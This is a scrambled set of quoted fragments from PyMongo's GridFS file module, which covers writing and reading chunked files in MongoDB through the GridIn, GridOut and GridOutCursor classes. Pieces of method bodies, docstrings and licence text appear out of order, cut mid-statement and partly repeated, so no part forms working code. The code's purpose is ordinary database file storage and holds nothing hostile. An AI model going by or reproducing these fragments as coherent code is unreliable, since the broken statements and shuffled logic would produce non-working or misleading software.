GridOut object from cursor. \"\"\"", "collection, index_key, unique): doc = collection.find_one(projection={\"_id\": 1}, session=self._session) if doc", "import Collection from pymongo.cursor import Cursor from pymongo.errors import (ConfigurationError,", ".. versionchanged:: 3.7 Added the `disable_md5` parameter. .. versionchanged:: 3.6", "all chunks/files that may have been uploaded and close. \"\"\"", "For better performance and to better follow the GridFS spec,", "file_document=None, session=None): \"\"\"Read a file from GridFS Application developers should", "self.__dict__ or name in self.__class__.__dict__: object.__setattr__(self, name, value) else: #", "KIND, either express or implied. # See the License for", "raise IOError(22, \"Invalid value for `pos` - must be positive\")", "it possible to use :class:`GridOut` files with the context manager", "raise raise CorruptGridFile(\"no chunk #%d\" % self._next_chunk) if chunk[\"n\"] !=", "GridFS. \"\"\" def __init__(self, root_collection, file_id=None, file_document=None, session=None): \"\"\"Read a", "ObjectId()) kwargs[\"chunkSize\"] = kwargs.get(\"chunkSize\", DEFAULT_CHUNK_SIZE) object.__setattr__(self, \"_session\", session) object.__setattr__(self, \"_coll\",", "the `disable_md5` parameter. See :ref:`removed-gridfs-checksum` for details. .. versionchanged:: 3.7", "to - `session` (optional): a :class:`~pymongo.client_session.ClientSession` to use for all", "ignore extra chunks if they are empty. if len(chunk[\"data\"]): self.close()", "def _raise_file_exists(self, file_id): \"\"\"Raise a FileExists exception for the given", "_GridOutChunkIterator(grid_out, chunks, session, 0) def __iter__(self): return self def next(self):", "given priority if present. Raises :class:`TypeError` if `root_collection` is not", "- `whence` (optional): where to seek from. :attr:`os.SEEK_SET` (``0``) for", "\" \"if an md5 sum was created.\", closed_only=True) def __getattr__(self,", "\"Chunk size for this file.\", read_only=True) upload_date = _grid_in_property(\"uploadDate\", \"Date", "language governing permissions and # limitations under the License. \"\"\"Tools", "chunk in a file. The previous behavior was to only", "- `file_id` (optional): value of ``\"_id\"`` for the file to", "lines): raise io.UnsupportedOperation('writelines') def writable(self): return False def __enter__(self): \"\"\"Makes", "size == remainder and self.__chunk_iter: try: self.__chunk_iter.next() except StopIteration: pass", "= kwargs.pop(\"chunk_size\") coll = _clear_entity_type_registry( root_collection, read_preference=ReadPreference.PRIMARY) # Defaults kwargs[\"_id\"]", ":class:`bytes`. This can be useful when serving files using a", "(the \"License\"); # you may not use this file except", "__flush_data(self, data): \"\"\"Flush `data` to a chunk. \"\"\" self.__ensure_indexes() if", "def readchunk(self): \"\"\"Reads a chunk at a time. If the", "by :class:`~gridfs.GridFS`. Raises :class:`TypeError` if `root_collection` is not an instance", "= data.read() data.seek(0) return data.read(size) def tell(self): \"\"\"Return the current", "file_document=next_file, session=self.session) __next__ = next def add_option(self, *args, **kwargs): raise", "doc = collection.find_one(projection={\"_id\": 1}, session=self._session) if doc is None: try:", "= [index_spec['key'] for index_spec in collection.list_indexes(session=self._session)] except OperationFailure: index_keys =", "md5 sum was created.\") def _ensure_file(self): if not self._file: _disallow_transactions(self._session)", "= io.BytesIO() while received < size: chunk_data = self.readchunk() pos", "\"List of aliases for this file.\") metadata = _grid_out_property(\"metadata\", \"Metadata", "if chunk[\"n\"] != self._next_chunk: self.close() raise CorruptGridFile( \"Missing chunk: expected", "multi-document transactions') class GridIn(object): \"\"\"Class to write data to GridFS.", "fetched when first needed. \"\"\" if not isinstance(root_collection, Collection): raise", "(or offset if using relative positioning) to seek to -", "from pymongo.read_preferences import ReadPreference from gridfs.errors import CorruptGridFile, FileExists, NoFile", "additional keyword arguments will be set as additional fields on", "document in db.fs.files. # Store them to be sent to", "pos + 1 received += len(chunk_data) data.write(chunk_data) if pos !=", "io.BytesIO()) object.__setattr__(self, \"_position\", 0) object.__setattr__(self, \"_chunk_number\", 0) object.__setattr__(self, \"_closed\", False)", "\"\"\" if not self._closed: self.__flush() object.__setattr__(self, \"_closed\", True) def read(self,", "this file was first uploaded.\") aliases = _grid_out_property(\"aliases\", \"List of", "reading the entire file. if size == remainder and self.__chunk_iter:", "an Int64. self._file[\"length\"] = Int64(self._position) self._file[\"uploadDate\"] = datetime.datetime.utcnow() return self._coll.files.insert_one(", "chunk_size = _grid_in_property(\"chunkSize\", \"Chunk size for this file.\", read_only=True) upload_date", "present. Raises :class:`TypeError` if `root_collection` is not an instance of", "# # Unless required by applicable law or agreed to", "been called.\") if not read_only and not closed_only: return property(getter,", "raise :class:`CorruptGridFile` on a missing chunk. .. versionchanged:: 4.0 The", "or ``\"chunk_size\"``: size of each of the chunks, in bytes", "__IOBase_closed which calls _ensure_file and potentially performs I/O. # We", "by application developers - see the :class:`~gridfs.GridFS` method :meth:`~gridfs.GridFS.find` instead.", "-1: size = received + pos + 1 received +=", "use for all commands .. versionchanged:: 3.8 For better performance", "a single cursor. Raises CorruptGridFile when encountering any truncated, missing,", "return True def __iter__(self): \"\"\"Return an iterator over all of", "{\"files_id\": self._id} if self._next_chunk > 0: filter[\"n\"] = {\"$gte\": self._next_chunk}", "__getattr__(self, name): if name in self._file: return self._file[name] raise AttributeError(\"GridIn", "Store them to be sent to server on close() or", "# file-like read = data.read except AttributeError: # string if", "from `root_collection.files` - `session` (optional): a :class:`~pymongo.client_session.ClientSession` to use for", "value if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {name: value}}) def __flush_data(self,", "{\"$gte\": self._next_chunk} _disallow_transactions(self._session) self._cursor = self._chunks.find(filter, sort=[(\"n\", 1)], session=self._session) def", "= _grid_in_property(\"contentType\", \"Mime-type for this file.\") length = _grid_in_property(\"length\", \"Length", "upload_date = _grid_in_property(\"uploadDate\", \"Date that this file was uploaded.\", closed_only=True)", "self._file = self.__files.find_one({\"_id\": self.__file_id}, session=self._session) if not self._file: raise NoFile(\"no", "an instance of :class:`str` (:class:`bytes` in python 3). If `size`", "-1: break self.__position -= received - size # Return 'size'", "bytes) of this file.\", closed_only=True) chunk_size = _grid_in_property(\"chunkSize\", \"Chunk size", "/ self._chunk_size) self._cursor = None def expected_chunk_length(self, chunk_n): if chunk_n", "DuplicateKeyError: self._raise_file_exists(self._file['_id']) self._chunk_number += 1 self._position += len(data) def __flush_buffer(self):", "entire file. Previously, this method would check for extra chunks", "value): # For properties of this instance like _buffer, or", "\"\"\"Tools for representing files stored in GridFS.\"\"\" import datetime import", "not have already been used for another file - ``\"filename\"``:", "file.\") length = _grid_in_property(\"length\", \"Length (in bytes) of this file.\",", "closed_only and not self._closed: raise AttributeError(\"can only get %r on", "result of an arbitrary query against the GridFS files collection.", "implied. # See the License for the specific language governing", "= SON([(\"files_id\", ASCENDING), (\"n\", ASCENDING)]) _F_INDEX = SON([(\"filename\", ASCENDING), (\"uploadDate\",", "`file_document` must be specified, `file_document` will be given priority if", "_ensure_file and potentially performs I/O. # We cannot do I/O", "`**kwargs` (optional): file level options (see above) .. versionchanged:: 4.0", "import CorruptGridFile, FileExists, NoFile try: _SEEK_SET = os.SEEK_SET _SEEK_CUR =", "was created.\", closed_only=True) def __getattr__(self, name): if name in self._file:", "== 'length': return self._file.get(field_name, 0) return self._file.get(field_name, None) def setter(self,", "the file and allow exceptions to propagate. \"\"\" self.close() #", "files with the context manager protocol. \"\"\" self.close() return False", "is None: self._create_cursor() try: return self._cursor.next() except CursorNotFound: self._cursor.close() self._create_cursor()", "``\"content_type\"``: valid mime-type for the file - ``\"chunkSize\"`` or ``\"chunk_size\"``:", "GridOutIterator(object): def __init__(self, grid_out, chunks, session): self.__chunk_iter = _GridOutChunkIterator(grid_out, chunks,", "data.seek(size) self.__buffer = data.read() data.seek(0) return data.read(size) def tell(self): \"\"\"Return", "\"\"\" self.__ensure_indexes() if not data: return assert(len(data) <= self.chunk_size) chunk", "_disallow_transactions(self._session) self._file = self.__files.find_one({\"_id\": self.__file_id}, session=self._session) if not self._file: raise", "or omitted all data is read. :Parameters: - `size` (optional):", "if \"chunk_size\" in kwargs: kwargs[\"chunkSize\"] = kwargs.pop(\"chunk_size\") coll = _clear_entity_type_registry(", "specify an encoding for file in \" \"order to write", "keyword arguments. Any additional keyword arguments will be set as", "__init__(self, collection, filter=None, skip=0, limit=0, no_cursor_timeout=False, sort=None, batch_size=0, session=None): \"\"\"Create", "= remainder if size == 0: return EMPTY received =", "bytes or a file-like object (implementing :meth:`read`). If the file", "Binary(data)} try: self._chunks.insert_one(chunk, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._file['_id']) self._chunk_number += 1", "not object.__getattribute__(self, \"_ensured_index\"): _disallow_transactions(self._session) self.__create_index(self._coll.files, _F_INDEX, False) self.__create_index(self._coll.chunks, _C_INDEX, True)", "found: expected %d chunks but found \" \"chunk with n=%d\"", "= int(grid_out.chunk_size) self._length = int(grid_out.length) self._chunks = chunks self._session =", "in a file. \"\"\" def __init__(self, grid_out, chunks, session, next_chunk):", "as additional fields on the file document. Valid keyword arguments", "# Hold on to the base \"fs\" collection to create", "if not isinstance(root_collection, Collection): raise TypeError(\"root_collection must be an \"", "object.__setattr__(self, \"_file\", kwargs) object.__setattr__(self, \"_buffer\", io.BytesIO()) object.__setattr__(self, \"_position\", 0) object.__setattr__(self,", "self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {field_name: value}}) self._file[field_name] = value if read_only:", "now uses a single cursor to read all the chunks", "to the database until the :meth:`close` method is called. Raises", "otherwise it will lead to __getattr__ on # __IOBase_closed which", "\"\"\" if self._closed: raise ValueError(\"cannot write to a closed file\")", "self._coll.files.insert_one( self._file, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._id) def _raise_file_exists(self, file_id): \"\"\"Raise", "file-like.\"\"\" if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter = None super().close() def write(self,", "Unless required by applicable law or agreed to in writing,", "is None: self.__chunk_iter = _GridOutChunkIterator( self, self.__chunks, self._session, chunk_number) chunk", "if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {field_name: value}}) self._file[field_name] = value", "an instance of :class:`bytes`, a file-like object, or an instance", "object (implementing :meth:`read`). If the file has an :attr:`encoding` attribute,", "instead. .. versionadded 2.7 .. seealso:: The MongoDB documentation on", "minutes apart (the server's default cursor timeout). \"\"\" if self._cursor", "not immediately retrieve the file metadata from the server. Metadata", "the class like filename, use regular __setattr__ if name in", "the specific language governing permissions and # limitations under the", "# them now. self._file[name] = value if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]},", "session=self._session) if doc is None: try: index_keys = [index_spec['key'] for", "work well with server's record allocations. DEFAULT_CHUNK_SIZE = 255 *", "the `disable_md5` parameter. .. versionchanged:: 3.6 Added ``session`` parameter. ..", "raise CorruptGridFile(\"truncated chunk\") self.__position += len(chunk_data) self.__buffer = EMPTY return", "add seperators. \"\"\" for line in sequence: self.write(line) def writeable(self):", "# Detect extra chunks after reading the entire file. if", "\"\"\" return self.__position def seek(self, pos, whence=_SEEK_SET): \"\"\"Set the current", "all of this file's data. The iterator will return lines", "relative positioning) to seek to - `whence` (optional): where to", "try: _SEEK_SET = os.SEEK_SET _SEEK_CUR = os.SEEK_CUR _SEEK_END = os.SEEK_END", "None super().close() def write(self, value): raise io.UnsupportedOperation('write') def writelines(self, lines):", "be an Int64. self._file[\"length\"] = Int64(self._position) self._file[\"uploadDate\"] = datetime.datetime.utcnow() return", "kwargs.pop(\"chunk_size\") coll = _clear_entity_type_registry( root_collection, read_preference=ReadPreference.PRIMARY) # Defaults kwargs[\"_id\"] =", "< space: return # EOF or incomplete self.__flush_buffer() to_write =", "of line by line. \"\"\" return self def close(self): \"\"\"Make", "OperationFailure: index_keys = [] if index_key not in index_keys: collection.create_index(", "3). If `size` is negative or omitted all data is", "in bytes.\"\"\" # Slightly under a power of 2, to", "'length': return self._file.get(field_name, 0) return self._file.get(field_name, None) def setter(self, value):", "of this file.\") chunk_size = _grid_out_property(\"chunkSize\", \"Chunk size for this", "Any :class:`str` that is written to the file will be", "`size` bytes from the file. :Parameters: - `size` (optional): the", "to use :class:`GridOut` files with the context manager protocol. \"\"\"", "versionadded 2.7 .. seealso:: The MongoDB documentation on `cursors <https://dochub.mongodb.org/core/cursors>`_.", "super().close() def write(self, value): raise io.UnsupportedOperation('write') def writelines(self, lines): raise", "generally not need to instantiate this class directly - instead", "chunk length to be %d but \" \"found chunk with", "file\") try: # file-like read = data.read except AttributeError: #", "+= len(chunk_data) self.__buffer = EMPTY return chunk_data def read(self, size=-1):", "they are empty. if len(chunk[\"data\"]): self.close() raise CorruptGridFile( \"Extra chunk", ".. versionchanged:: 4.0 The iterator now iterates over *lines* in", "instance of :class:`~pymongo.collection.Collection`. :Parameters: - `root_collection`: root collection to read", "and session.in_transaction: raise InvalidOperation( 'GridFS does not support multi-document transactions')", "Handle alternative naming if \"content_type\" in kwargs: kwargs[\"contentType\"] = kwargs.pop(\"content_type\")", "from the server. Metadata is fetched when first needed. \"\"\"", "files using a webserver that handles such an iterator efficiently.", "_clear_entity_type_registry(root_collection) super().__init__() self.__chunks = root_collection.chunks self.__files = root_collection.files self.__file_id =", "fileno(self): raise io.UnsupportedOperation('fileno') def flush(self): # GridOut is read-only, so", "class GridOutCursor(Cursor): \"\"\"A cursor / iterator for returning GridOut objects", "the `GridFS Spec <http://dochub.mongodb.org/core/gridfsspec>`_ may be passed as keyword arguments.", "seek relative to the file's end. \"\"\" if whence ==", "GridFS.\"\"\" import datetime import io import math import os from", "data): \"\"\"Flush `data` to a chunk. \"\"\" self.__ensure_indexes() if not", "to GridFS Application developers should generally not need to instantiate", "not an instance of :class:`bytes`, a file-like object, or an", "all data is read. :Parameters: - `size` (optional): the number", "sequence: self.write(line) def writeable(self): return True def __enter__(self): \"\"\"Support for", "class _GridOutChunkIterator(object): \"\"\"Iterates over a file's chunks using a single", "cases where two calls to read occur more than 10", "for details. .. versionchanged:: 3.7 Added the `disable_md5` parameter. ..", "__del__(self): pass class _GridOutChunkIterator(object): \"\"\"Iterates over a file's chunks using", "0: raise IOError(22, \"Invalid value for `pos` - must be", "collection.files, filter, skip=skip, limit=limit, no_cursor_timeout=no_cursor_timeout, sort=sort, batch_size=batch_size, session=session) def next(self):", "be a :class:`str` instance, which will be encoded as :attr:`encoding`", "size = remainder if size == 0: return EMPTY received", "raise. raise io.UnsupportedOperation('truncate') # Override IOBase.__del__ otherwise it will lead", "= EMPTY self.__chunk_iter = None self.__position = 0 self._file =", "instantiate this class directly - instead see the methods provided", "try: self.__chunk_iter.next() except StopIteration: pass self.__position -= received - size", "strings or file-like objects\") if isinstance(data, str): try: data =", "filename = _grid_out_property(\"filename\", \"Name of this file.\") name = _grid_out_property(\"filename\",", "protocol. \"\"\" return self def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Makes", "is written to the file will be converted to :class:`bytes`.", "if session and session.in_transaction: raise InvalidOperation( 'GridFS does not support", "other attributes are part of the document in db.fs.files. #", "over a file's chunks using a single cursor. Raises CorruptGridFile", "chunk[\"n\"], expected_length, len(chunk[\"data\"]))) self._next_chunk += 1 return chunk __next__ =", "0) def __iter__(self): return self def next(self): chunk = self.__chunk_iter.next()", "== remainder and self.__chunk_iter: try: self.__chunk_iter.next() except StopIteration: pass self.__position", "backwards compatibility in cases where two calls to read occur", "timeout). \"\"\" if self._cursor is None: self._create_cursor() try: return self._cursor.next()", "return self def next(self): chunk = self.__chunk_iter.next() return bytes(chunk[\"data\"]) __next__", "self._closed: self.__flush() object.__setattr__(self, \"_closed\", True) def read(self, size=-1): raise io.UnsupportedOperation('read')", "return self._coll.files.insert_one( self._file, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._id) def _raise_file_exists(self, file_id):", "(optional): file document from `root_collection.files` - `session` (optional): a :class:`~pymongo.client_session.ClientSession`", "self.__flush_data(to_write) to_write = read(self.chunk_size) self._buffer.write(to_write) def writelines(self, sequence): \"\"\"Write a", "if self.__chunk_iter is None: self.__chunk_iter = _GridOutChunkIterator( self, self.__chunks, self._session,", "raise io.UnsupportedOperation('write') def writelines(self, lines): raise io.UnsupportedOperation('writelines') def writable(self): return", "batch_size=0, session=None): \"\"\"Create a new cursor, similar to the normal", "a chunk. \"\"\" self.__flush_data(self._buffer.getvalue()) self._buffer.close() self._buffer = io.BytesIO() def __flush(self):", "if size == remainder and self.__chunk_iter: try: self.__chunk_iter.next() except StopIteration:", "calls _ensure_file and potentially performs I/O. # We cannot do", "__exit__(self, exc_type, exc_val, exc_tb): \"\"\"Makes it possible to use :class:`GridOut`", "self._chunks.find(filter, sort=[(\"n\", 1)], session=self._session) def _next_with_retry(self): \"\"\"Return the next chunk", "string of bytes or file-like object to be written to", "versionchanged:: 3.8 The iterator now raises :class:`CorruptGridFile` when encountering any", "already been used for another file - ``\"filename\"``: human name", "be set as additional fields on the file document. Valid", "object.__setattr__(self, name, value) else: # All other attributes are part", "the file and close it. A closed file cannot be", "try: return self._cursor.next() except CursorNotFound: self._cursor.close() self._create_cursor() return self._cursor.next() def", "== 0: return EMPTY received = 0 data = io.BytesIO()", "this file. :Parameters: - `pos`: the position (or offset if", "is not an instance of :class:`bytes`, a file-like object, or", "can be useful when serving files using a webserver that", "cursor. Raises CorruptGridFile when encountering any truncated, missing, or extra", "# Make sure to flush only when _buffer is complete", "this file (default: :class:`~bson.objectid.ObjectId`) - this ``\"_id\"`` must not have", "GridFS files collection. \"\"\" def __init__(self, collection, filter=None, skip=0, limit=0,", "% name) def __setattr__(self, name, value): # For properties of", ":py:class:`io.IOBase`. Use :meth:`GridOut.readchunk` to read chunk by chunk instead of", "\"chunk with n=%d\" % (self._num_chunks, chunk[\"n\"])) expected_length = self.expected_chunk_length(chunk[\"n\"]) if", "`GridFS Spec <http://dochub.mongodb.org/core/gridfsspec>`_ may be passed as keyword arguments. Any", "iterator. if new_pos == self.__position: return self.__position = new_pos self.__buffer", "for the given file_id.\"\"\" raise FileExists(\"file with _id %r already", "chunk the remainder of the chunk is returned. \"\"\" received", "read(self, size=-1): \"\"\"Read at most `size` bytes from the file", "def getter(self): if closed_only and not self._closed: raise AttributeError(\"can only", "are empty. if len(chunk[\"data\"]): self.close() raise CorruptGridFile( \"Extra chunk found:", "\"Invalid value for `pos` - must be positive\") # Optimization,", "file. if size == remainder and self.__chunk_iter: try: self.__chunk_iter.next() except", "after reading the entire file. if size == remainder and", "< 0: raise IOError(22, \"Invalid value for `pos` - must", "\"\"\" return self def __exit__(self, exc_type, exc_val, exc_tb): \"\"\"Support for", "= os.SEEK_END # before 2.5 except AttributeError: _SEEK_SET = 0", "return chunk __next__ = next def close(self): if self._cursor: self._cursor.close()", "from cursor. \"\"\" _disallow_transactions(self.session) # Work around \"super is not", "\"_coll\", coll) object.__setattr__(self, \"_chunks\", coll.chunks) object.__setattr__(self, \"_file\", kwargs) object.__setattr__(self, \"_buffer\",", "#%d\" % self._next_chunk) if chunk[\"n\"] != self._next_chunk: self.close() raise CorruptGridFile(", "# EOF or incomplete self.__flush_buffer() to_write = read(self.chunk_size) while to_write", "0 _SEEK_CUR = 1 _SEEK_END = 2 EMPTY = b\"\"", "or up to `size` bytes from the file. :Parameters: -", "datetime.datetime.utcnow() return self._coll.files.insert_one( self._file, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._id) def _raise_file_exists(self,", ":class:`GridOut` files with the context manager protocol. \"\"\" return self", "in the file, instead of chunks, to conform to the", "True) def abort(self): \"\"\"Remove all chunks/files that may have been", "`data` to a chunk. \"\"\" self.__ensure_indexes() if not data: return", "(ConfigurationError, CursorNotFound, DuplicateKeyError, InvalidOperation, OperationFailure) from pymongo.read_preferences import ReadPreference from", "return False def seekable(self): return False def write(self, data): \"\"\"Write", "may have been uploaded and close. \"\"\" self._coll.chunks.delete_many( {\"files_id\": self._file['_id']},", "self._file: raise NoFile(\"no file in gridfs collection %r with _id", "new_pos < 0: raise IOError(22, \"Invalid value for `pos` -", "most `size` bytes from the file (less if there isn't", "def read(self, size=-1): raise io.UnsupportedOperation('read') def readable(self): return False def", "You may obtain a copy of the License at #", "\"\"\"Make GridOut more generically file-like.\"\"\" if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter =", "the file. :Parameters: - `size` (optional): the maximum number of", "setter(self, value): if self._closed: self._coll.files.update_one({\"_id\": self._file[\"_id\"]}, {\"$set\": {field_name: value}}) self._file[field_name]", "root_collection, session=None, **kwargs): \"\"\"Write a file to GridFS Application developers", "better performance and to better follow the GridFS spec, :class:`GridOut`", "to read from - `file_id` (optional): value of ``\"_id\"`` for", "but \" \"found chunk with length %d\" % ( chunk[\"n\"],", "raise CorruptGridFile( \"Missing chunk: expected chunk #%d but found \"", "# All other attributes are part of the document in", "not isinstance(root_collection, Collection): raise TypeError(\"root_collection must be an \" \"instance", "`pos`: the position (or offset if using relative positioning) to", "- `root_collection`: root collection to write to - `session` (optional):", "exists\" % file_id) def close(self): \"\"\"Flush the file and close", "of GridFS. \"\"\" def __init__(self, root_collection, file_id=None, file_document=None, session=None): \"\"\"Read", "docstring): \"\"\"Create a GridOut property.\"\"\" def getter(self): self._ensure_file() # Protect", "`pos` - must be positive\") # Optimization, continue using the", "with n=%d\" % (self._next_chunk, chunk[\"n\"])) if chunk[\"n\"] >= self._num_chunks: #", "there isn't enough data). The bytes are returned as an", "None class GridOutIterator(object): def __init__(self, grid_out, chunks, session): self.__chunk_iter =", "return assert(len(data) <= self.chunk_size) chunk = {\"files_id\": self._file[\"_id\"], \"n\": self._chunk_number,", "__enter__(self): \"\"\"Support for the context manager protocol. \"\"\" return self", "must use ' 'acknowledged write_concern') _disallow_transactions(session) # Handle alternative naming", "close. \"\"\" self._coll.chunks.delete_many( {\"files_id\": self._file['_id']}, session=self._session) self._coll.files.delete_one( {\"_id\": self._file['_id']}, session=self._session)", "line by line. \"\"\" return self def close(self): \"\"\"Make GridOut", "`filename`.\") content_type = _grid_in_property(\"contentType\", \"Mime-type for this file.\") length =", "already closed. Raises :class:`TypeError` if `data` is not an instance", "bytes from the file. :Parameters: - `size` (optional): the maximum", "in self.__class__.__dict__: object.__setattr__(self, name, value) else: # All other attributes", "get %r on a closed file\" % field_name) # Protect", "bson.objectid import ObjectId from pymongo import ASCENDING from pymongo.collection import", "not isinstance(data, (str, bytes)): raise TypeError(\"can only write strings or", "self.__position = new_pos self.__buffer = EMPTY if self.__chunk_iter: self.__chunk_iter.close() self.__chunk_iter", "# Return 'size' bytes and store the rest. data.seek(size) self.__buffer", "return self.__position def seek(self, pos, whence=_SEEK_SET): \"\"\"Set the current position", "to the file \"\"\" if self._closed: raise ValueError(\"cannot write to", "_grid_in_property(\"length\", \"Length (in bytes) of this file.\", closed_only=True) chunk_size =", "self._next_chunk >= self._num_chunks: raise raise CorruptGridFile(\"no chunk #%d\" % self._next_chunk)", "GridOut(self.__root_collection, file_document=next_file, session=self.session) __next__ = next def add_option(self, *args, **kwargs):", "import SON from bson.binary import Binary from bson.objectid import ObjectId", "self.close() # propagate exceptions return False class GridOut(io.IOBase): \"\"\"Class to", "len(to_write) < space: return # EOF or incomplete self.__flush_buffer() to_write", "if not self._file: raise NoFile(\"no file in gridfs collection %r", "will be encoded as :attr:`encoding` before being written. Due to", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "on a closed file\" % field_name) # Protect against PHP-237", "super().__init__() self.__chunks = root_collection.chunks self.__files = root_collection.files self.__file_id = file_id", "in __del__ since it can lead to a deadlock. def", "raise NotImplementedError(\"Method does not exist for GridOutCursor\") def remove_option(self, *args,", "does not exist for GridOutCursor\") def _clone_base(self, session): \"\"\"Creates an", "3.x next_file = super(GridOutCursor, self).next() return GridOut(self.__root_collection, file_document=next_file, session=self.session) __next__", "\"\"\" self.close() # propagate exceptions return False class GridOut(io.IOBase): \"\"\"Class", "True) object.__setattr__(self, \"_ensured_index\", True) def abort(self): \"\"\"Remove all chunks/files that", "\"\"\"Set the current position of this file. :Parameters: - `pos`:", "while received < size: chunk_data = self.readchunk() pos = chunk_data.find(NEWLN,", "an empty GridOutCursor for information to be copied into. \"\"\"", "self._position += len(data) def __flush_buffer(self): \"\"\"Flush the buffer contents out", "commands .. versionchanged:: 3.8 For better performance and to better", "= read(self.chunk_size) self._buffer.write(to_write) def writelines(self, sequence): \"\"\"Write a sequence of", "data.read(size) def readline(self, size=-1): \"\"\"Read one line or up to", "data. The iterator will return lines (delimited by ``b'\\\\n'``) of", "\"\"\"A cursor / iterator for returning GridOut objects as the", "an \" \"instance of Collection\") if not root_collection.write_concern.acknowledged: raise ConfigurationError('root_collection", "_C_INDEX = SON([(\"files_id\", ASCENDING), (\"n\", ASCENDING)]) _F_INDEX = SON([(\"filename\", ASCENDING),", "passed as keyword arguments. Any additional keyword arguments will be", "\"n\": self._chunk_number, \"data\": Binary(data)} try: self._chunks.insert_one(chunk, session=self._session) except DuplicateKeyError: self._raise_file_exists(self._file['_id'])", "close(self): \"\"\"Flush the file and close it. A closed file", "see the methods provided by :class:`~gridfs.GridFS`. Either `file_id` or `file_document`", "if len(chunk[\"data\"]): self.close() raise CorruptGridFile( \"Extra chunk found: expected %d", "number of bytes to read \"\"\" remainder = int(self.length) -", "except AttributeError: _SEEK_SET = 0 _SEEK_CUR = 1 _SEEK_END =", "except CursorNotFound: self._cursor.close() self._create_cursor() return self._cursor.next() def next(self): try: chunk", "\"_ensured_index\", False) def __create_index(self, collection, index_key, unique): doc = collection.find_one(projection={\"_id\":", "# The GridFS spec says length SHOULD be an Int64.", "file-like object (implementing :meth:`read`). If the file has an :attr:`encoding`", "a file-like object, or an instance of :class:`str`. Unicode data", "\"\"\"Flush the file to the database. \"\"\" try: self.__flush_buffer() #", "% chunk_size:] if not chunk_data: raise CorruptGridFile(\"truncated chunk\") self.__position +=", "allocations. DEFAULT_CHUNK_SIZE = 255 * 1024 _C_INDEX = SON([(\"files_id\", ASCENDING),", "\"_ensured_index\", True) def abort(self): \"\"\"Remove all chunks/files that may have", "of chunks, to conform to the base class :py:class:`io.IOBase`. Use", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "object.__setattr__(self, \"_position\", 0) object.__setattr__(self, \"_chunk_number\", 0) object.__setattr__(self, \"_closed\", False) object.__setattr__(self,", "= _grid_in_property(\"uploadDate\", \"Date that this file was uploaded.\", closed_only=True) md5", "License. # You may obtain a copy of the License", "if self._cursor: self._cursor.close() self._cursor = None class GridOutIterator(object): def __init__(self,", "for GridOutCursor\") def _clone_base(self, session): \"\"\"Creates an empty GridOutCursor for", "returned as an instance of :class:`str` (:class:`bytes` in python 3).", "= _grid_out_property(\"contentType\", \"Mime-type for this file.\") length = _grid_out_property(\"length\", \"Length", "self._coll.chunks.delete_many( {\"files_id\": self._file['_id']}, session=self._session) self._coll.files.delete_one( {\"_id\": self._file['_id']}, session=self._session) object.__setattr__(self, \"_closed\",", "in python 3). If `size` is negative or omitted all", "= b\"\\n\" \"\"\"Default chunk size, in bytes.\"\"\" # Slightly under", "that this file was uploaded.\", closed_only=True) md5 = _grid_in_property(\"md5\", \"MD5", "descriptors set on # the class like filename, use regular", "def writelines(self, lines): raise io.UnsupportedOperation('writelines') def writable(self): return False def", "chunk[\"n\"] != self._next_chunk: self.close() raise CorruptGridFile( \"Missing chunk: expected chunk", "or `file_document` must be specified, `file_document` will be given priority", "1}, session=self._session) if doc is None: try: index_keys = [index_spec['key']", "seekable(self): return True def __iter__(self): \"\"\"Return an iterator over all", "whence == _SEEK_SET: new_pos = pos elif whence == _SEEK_CUR:", "current position is within a chunk the remainder of the", "try: index_keys = [index_spec['key'] for index_spec in collection.list_indexes(session=self._session)] except OperationFailure:", "flush does nothing. pass def isatty(self): return False def truncate(self,", "exc_type, exc_val, exc_tb): \"\"\"Support for the context manager protocol. Close", "# Slightly under a power of 2, to work well", "is already closed. Raises :class:`TypeError` if `data` is not an", "using the same buffer and chunk iterator. if new_pos ==", "if field_name == 'length': return self._file.get(field_name, 0) return self._file.get(field_name, None)", "int((received + self.__position) / chunk_size) if self.__chunk_iter is None: self.__chunk_iter", "store the rest. data.seek(size) self.__buffer = data.read() data.seek(0) return data.read(size)", "chunk. .. versionchanged:: 4.0 The iterator now iterates over *lines*", "read = io.BytesIO(data).read if self._buffer.tell() > 0: # Make sure", "written. Due to buffering, the data may not actually be", "= received + pos + 1 received += len(chunk_data) data.write(chunk_data)", "= grid_out._id self._chunk_size = int(grid_out.chunk_size) self._length = int(grid_out.length) self._chunks =", ":meth:`GridOut.readchunk` to read chunk by chunk instead of line by", "CursorNotFound. We retry on CursorNotFound to maintain backwards compatibility in", "this file.\", closed_only=True) chunk_size = _grid_in_property(\"chunkSize\", \"Chunk size for this", "size for this file.\") upload_date = _grid_out_property(\"uploadDate\", \"Date that this", "docstring, read_only=False, closed_only=False): \"\"\"Create a GridIn property.\"\"\" def getter(self): if", "does nothing. pass def isatty(self): return False def truncate(self, size=None):", "specified in the `GridFS Spec <http://dochub.mongodb.org/core/gridfsspec>`_ may be passed as", "_id = _grid_in_property(\"_id\", \"The ``'_id'`` value for this file.\", read_only=True)", "negative or omitted all data is read. :Parameters: - `size`", "using a single cursor. Raises CorruptGridFile when encountering any truncated,", "size: chunk_data = self.readchunk() received += len(chunk_data) data.write(chunk_data) # Detect", "against the GridFS files collection. \"\"\" def __init__(self, collection, filter=None,", "collection. \"\"\" def __init__(self, collection, filter=None, skip=0, limit=0, no_cursor_timeout=False, sort=None,", "self._file[\"_id\"]}, {\"$set\": {field_name: value}}) self._file[field_name] = value if read_only: docstring", "_disallow_transactions(session) root_collection = _clear_entity_type_registry(root_collection) super().__init__() self.__chunks = root_collection.chunks self.__files =", "self._cursor = self._chunks.find(filter, sort=[(\"n\", 1)], session=self._session) def _next_with_retry(self): \"\"\"Return the", "a sequence of strings to the file. Does not add", "chunk_data = self.__buffer elif self.__position < int(self.length): chunk_number = int((received", "= next def add_option(self, *args, **kwargs): raise 